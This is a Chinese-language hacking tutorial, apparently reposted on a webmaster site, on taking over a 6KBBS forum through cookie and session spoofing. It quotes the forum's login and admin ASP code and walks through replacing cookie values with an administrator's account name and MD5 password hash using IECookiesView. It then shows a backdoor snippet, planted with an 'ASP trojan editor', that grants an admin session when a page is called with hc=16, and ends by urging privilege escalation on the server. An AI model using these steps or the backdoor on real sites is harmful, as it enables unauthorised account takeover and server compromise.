我們先來(lái)說(shuō)下基礎(chǔ)知識(shí),免的一些菜鳥(niǎo)看不懂,有借鑒.
cookies欺騙,就是在只對(duì)用戶(hù)做cookies驗(yàn)證的系統(tǒng)中,通過(guò)修改cookies的內(nèi)容來(lái)得到相應(yīng)的用戶(hù)權(quán)限登錄。 那么什么是cookies呢,我這里給大家一個(gè)專(zhuān)業(yè)的解釋?zhuān)琧ookies是一個(gè)儲(chǔ)存于瀏覽器目錄中的文本文件,記錄你訪(fǎng)問(wèn)一個(gè)特定站點(diǎn)的信息,且只能被創(chuàng)建這個(gè)cookies的站點(diǎn)讀回,約由255個(gè)字符組成,僅占4kb硬盤(pán)空間。當(dāng)用戶(hù)正在瀏覽某站點(diǎn)時(shí),它儲(chǔ)存于用戶(hù)機(jī)的隨機(jī)存取存儲(chǔ)器ram中,退出瀏覽器后,它儲(chǔ)存于用戶(hù)的硬盤(pán)中。儲(chǔ)存在cookies中的大部分信息是普通的,如當(dāng)你瀏覽一個(gè)站點(diǎn)時(shí),此文件記錄了每一次的擊鍵信息和被訪(fǎng)站點(diǎn)的地址等。但是許多web站點(diǎn)使用cookies來(lái)儲(chǔ)存針對(duì)私人的數(shù)據(jù),如:注冊(cè)口令、用戶(hù)名、信用卡編號(hào)等。 什么是Session?當(dāng)一個(gè)訪(fǎng)問(wèn)者來(lái)到你的網(wǎng)站的時(shí)候一個(gè)Session就開(kāi)始了,當(dāng)他離開(kāi)的時(shí)候Session就結(jié)束了。本質(zhì)是來(lái)說(shuō),cookie是和瀏覽器有關(guān)系,而Session變量就可以存一些資源變量在服務(wù)器上面。 正題: 我們先里看個(gè)實(shí)例,在6KBBS的login.asp找到113—124行,得到以下代碼: if [url=javascript:][color=#949494]Copy code[/color][/url] login=false then tl=" 登 陸 失 敗" mes=mes&" ·返回重新填寫(xiě)" else response.cookies(prefix)("lgname") =lgname session(prefix"lgname")= lgname response.cookies(prefix)("lgpwd")= lgpwd response.cookies(prefix)("lgtype")= lgtype response.cookies(prefix)("lgcook")= cook if cook>0 then response.cookies(prefix).expires= date cook end if 我們來(lái)分析下,如果你登錄失敗了他就顯示你登錄失敗并引導(dǎo)你返回上一頁(yè),否則就給你寫(xiě)進(jìn)cookies里面,如果你的cookies有的話(huà)那么你的過(guò)期時(shí)間就是你cookies的過(guò)期時(shí)間——也就是你保存cookies的時(shí)間了。 這時(shí),我們想到的是如果里面的信息是admin的,那一不就成了以管理員登陸了嗎? 首先,我們先去注冊(cè)一個(gè)用戶(hù),然后登錄,有個(gè)cookies保存的選項(xiàng),一定要選哦。我選擇是保存一個(gè)月,因?yàn)楸4媪瞬艜?huì)再你本機(jī)上寫(xiě)進(jìn)它的cookies。接著,打開(kāi)數(shù)據(jù)庫(kù),看admin表里面有什么東西,別的不管,你只要那個(gè)bd為16的那個(gè)人就行了。有可能沒(méi)有,你可以到他們論壇去逛一下,看管理員是誰(shuí),然后在數(shù)據(jù)庫(kù)里面拿他的賬號(hào)和加密的密碼來(lái)欺騙。 打開(kāi)iecookiesview,這款軟件是拿來(lái)察看和修改本機(jī)的cookies的,很方便我們的cookies欺騙入侵。 在iecookiesview 里找到你要欺騙的那個(gè)網(wǎng)站,看到了嗎?有你的用戶(hù)名和md5加密的密碼,我們吧這兩項(xiàng)改為管理員的,就是把剛才數(shù)據(jù)庫(kù)里面的管理員賬號(hào)和md5加密的密碼代替你自己的。點(diǎn)擊“更改cookies”,打開(kāi)一個(gè)新的ie,然后再去訪(fǎng)問(wèn)那個(gè)論壇,看到?jīng)]有?你現(xiàn)在已經(jīng)是管理員了。 接著,麻煩的事出現(xiàn)了,后臺(tái)登陸并不是以cookies來(lái)實(shí)現(xiàn)的,而是以session實(shí)現(xiàn)的 ,所以我們同樣來(lái)欺騙session; 首先簡(jiǎn)單說(shuō)一下一般asp系統(tǒng)的身份驗(yàn)證原理。 一般來(lái)說(shuō),后臺(tái)管理員在登錄頁(yè)面輸入賬號(hào)密碼后,程序會(huì)拿著他提交的用戶(hù)名密碼去數(shù)據(jù)庫(kù)的管理員表里面找,如果有這個(gè)人的賬號(hào)密碼就認(rèn)為你是管理員,然后給你一個(gè)表示你身份的session值。或者程序先把你的用戶(hù)名密碼提取出來(lái),然后到數(shù)據(jù)庫(kù)的管理員表里面取出管理員的賬號(hào)密碼來(lái)和你提交的相比較,如果相等,就跟上面一樣給你個(gè)表示你身份的sesion值。然后你進(jìn)入任何一個(gè)管理頁(yè)面它都要首先驗(yàn)證你的session值,如果是管理員就讓你通過(guò),不是的話(huà)就引導(dǎo)你回到登錄頁(yè)面。 找到manage/admin.asp,發(fā)現(xiàn)驗(yàn)證內(nèi)容為: [url=javascript:][color=#949494]Copy code[/color][/url] ... else rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") rs("LastLoginTime")=now() rs("LoginTimes")=rs("LoginTimes") 1 rs.update session.Timeout=SessionTimeout session("AdminName")=rs("username") rs.close set rs=nothing call CloseConn() Response.Redirect "Admin_Index.asp" 很容易就知道如果沒(méi)有獲得驗(yàn)證就會(huì)出現(xiàn)兩個(gè)session值: [url=javascript:][color=#949494]Copy code[/color][/url] session.Timeout=SessionTimeout session("AdminName")=rs("username") 試想如果我們以adminName的信息登陸就就ok了..接著用ASP木馬編輯器來(lái)添加代碼如下: [url=javascript:][color=#949494]Copy code[/color][/url] dim id id=trim(request("hc")) if id="16" then session("AdminName")="admin" end if 分析上段代碼,有個(gè)不定值--admin,可以根據(jù)實(shí)際情況來(lái)設(shè)置,不一定是admin;可以在一些不常去的頁(yè)面來(lái)登陸,如:FriendSite.asp?hc=16返回時(shí)頁(yè)面沒(méi)有出現(xiàn)異樣,這就行了,然后再次登陸manage/admin.asp,你會(huì)發(fā)現(xiàn),你已經(jīng)進(jìn)入后臺(tái)了。然后可以提權(quán)得弄服務(wù)器了。 |
免責(zé)聲明:本站部分文章和圖片均來(lái)自用戶(hù)投稿和網(wǎng)絡(luò)收集,旨在傳播知識(shí),文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請(qǐng)勿用于商業(yè)用途,如果損害了您的權(quán)利,請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長(zhǎng)、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長(zhǎng)轉(zhuǎn)型升級(jí),為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營(yíng)銷(xiāo)服務(wù),與站長(zhǎng)一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!
掃一掃,關(guān)注站長(zhǎng)網(wǎng)微信